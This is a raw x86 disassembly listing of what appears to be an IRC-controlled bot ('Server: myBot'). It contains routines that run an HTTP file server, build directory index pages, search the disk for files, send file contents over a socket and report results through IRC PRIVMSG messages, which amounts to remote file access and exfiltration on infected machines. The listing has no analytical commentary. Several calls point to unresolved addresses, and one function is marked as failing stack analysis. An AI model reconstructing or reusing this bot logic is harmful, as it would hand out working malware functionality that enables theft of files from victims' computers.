		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2711476h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFF4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB03C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_4299C8 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 268067Ah
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AE0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB03C
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F097Dh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2720BEBh
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2650939h

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433AAC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEE4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2670535h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB03C
		nop
		call	near ptr 2670D55h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25D0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 27403F4h
		nop
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2730930h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293F4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	near ptr 2670535h
		nop

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 27403F4h
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		call	near ptr 2730000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 26F097Dh
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 2720BEBh
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:00437A68o
					; ___:00437A7Co
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 26F0000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF38
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 2650939h

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
